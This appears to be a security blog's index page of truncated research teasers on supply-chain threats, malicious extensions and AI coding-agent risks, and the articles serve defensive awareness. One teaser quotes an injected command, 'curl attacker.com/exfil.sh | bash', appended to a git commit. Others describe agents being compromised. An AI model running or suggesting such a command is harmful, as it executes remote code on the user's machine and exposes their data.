Expert perspectives on application security, compliance, and emerging threats
ResearchWhen Manifold Security pulled 77 malicious extensions from Open VSX between July 26 and August 1, 2026, many security teams thought, We don t use Open VSX, so this doesn t affect us. This mindset allo
ResearchA researcher showed command-and-control influence over ChatGPT s isolated sandbox at Black Hat USA 2026. If you re running AI tools in production, you must decide: treat AI systems like any other thir
ResearchWhen North Korean hackers started encoding command-and-control (C2) IPs in Ethereum transaction recipient addresses, they exposed a gap most security teams didn t know they had. The NullReceiver techn
ResearchYour CI/CD pipeline might be generating passwords right now. If you re using AI coding assistants, there s a good chance those passwords are predictable and undetectable by your secret scanners. Resea
Get weekly security insights and compliance updates delivered to your inbox.
ResearchYou ve probably heard the pitch: Our AI agent will analyze your cloud infrastructure and find security gaps you didn t know existed. What you don t hear is what happens when that agent misclassifies a
ResearchUnderstanding the Concerns Recently, I ve observed heated debates among security engineers about whether to restrict GitHub Copilot in their environments. The discussions often lack concrete data on h
ResearchYour security scanning tool flags a malicious commit. You block it by hash. Two hours later, the same code appears under a different hash with GitHub s green Verified checkmark intact. The signature d
ResearchWhen Wiz published the GhostApproval pattern on July 8, they exposed a significant security issue: six major AI coding assistants were allowing malicious repositories to trick developers into granting
ResearchYour security team is evaluating AI systems that don t just analyze threats but conduct their own research, generate tools, and make operational decisions. Before you deploy autonomous AI in productio
ResearchYour AI coding agent just installed a new skill from the marketplace. The static scanner gave it a clean bill of health. Three days later, you re investigating why production data is leaving your netw
ResearchYou are facing a critical decision: whether to allow AI-generated code into production environments. Nearly half of surveyed organizations already run this code in production, while the other half hes
ResearchYour endpoint detection just blocked another phishing email. Your web proxy flagged a suspicious download. But ClickFix attacks don t look like traditional malware delivery—they mimic legitimate troub
ResearchYour AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea
ResearchYou re building AI-powered research tools. Your agents pull from Reddit, Stack Overflow, and community forums because that s where real-world knowledge lives. But here s what Cornell Tech just proved:
ResearchYou re overwhelmed by dependency vulnerabilities. Your SBOM lists 847 transitive dependencies. A new paper claims 94% accuracy in detecting malicious packages, but you can t use it. The gap between ac
ResearchYour team wants to integrate AI agents into your development workflow. You find a plugin registry with hundreds of options. Some have official-looking scope names. Some claim to be maintained by the r
